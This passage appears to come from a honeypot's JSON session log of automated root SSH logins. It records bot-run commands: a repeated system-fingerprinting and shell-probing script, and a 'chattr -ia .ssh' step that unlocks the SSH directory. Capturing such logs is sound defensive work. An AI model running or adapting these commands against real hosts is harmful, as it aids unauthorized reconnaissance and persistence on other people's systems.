  "ended_at": "2026-08-26T15:37:44.430015+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c6a733a6-96d7-42e7-a2c4-02203149f1a0",
  "name": "cosmic-fringed-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 53650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:35:48.265510+00:00",
  "ended_at": "2026-08-26T15:35:48.389087+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "a2d2abe8-d3ea-49d2-ba1f-1f7ff6e28577",
  "name": "mindful-mossy-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 50718,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:34:00.146824+00:00",
  "ended_at": "2026-08-26T15:34:00.268233+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2f0f8446-1a0f-4940-a006-4c142d673018",
  "name": "stoic-upland-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 47816,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:32:12.618788+00:00",
  "ended_at": "2026-08-26T15:32:12.801265+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8496f10b-a571-4acc-9cb8-f06740851364",
  "name": "drifting-stoic-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 44896,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:30:18.428770+00:00",
  "ended_at": "2026-08-26T15:30:18.533364+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "6749b97d-7b2e-42a8-bdc8-99cfa995d58a",
  "name": "wooded-mellow-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40838,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 757,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:30:07.414904+00:00",
  "ended_at": "2026-08-26T15:30:08.845919+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "61699431-f4a8-4044-b450-1821dce17577",
  "name": "brisk-golden-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40840,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:29:44.144683+00:00",
  "ended_at": "2026-08-26T15:29:45.711084+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "def075a2-788f-490b-9e9d-ebe81e275189",
  "name": "vigilant-mellow-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 41960,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:28:24.158370+00:00",
  "ended_at": "2026-08-26T15:28:24.275956+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "cde989e9-5ca8-4956-b3d5-de0e287d64bf",
  "name": "regal-dusty-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40835,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 762,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:27:28.014575+00:00",
  "ended_at": "2026-08-26T15:27:29.715057+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "7d2d6513-8691-4fe0-bd65-dbd7f9eff26d",
  "name": "snowy-spirited-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40837,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:27:06.674969+00:00",
  "ended_at": "2026-08-26T15:27:07.501876+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "32baab97-a8be-400e-b595-c87becf2cb1f",
  "name": "wandering-upland-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 38980,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 